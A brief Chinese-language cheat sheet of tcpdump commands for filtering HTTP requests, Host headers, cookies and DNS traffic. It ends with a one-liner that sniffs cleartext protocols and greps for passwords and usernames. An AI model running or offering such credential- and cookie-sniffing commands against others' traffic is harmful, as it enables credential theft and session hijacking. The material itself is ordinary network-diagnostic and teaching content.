
tcpdump -vvAls0 | grep 'GET'

查找http客户端IP

tcpdump -vvAls0 | grep 'Host:'

查询客户端cookie

tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'

查找DNS流量

tcpdump -vvAs0 port 53

查找对应流量的明文密码

tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '

Reference:https://danielmiessler.com/study/tcpdump/#basic-communication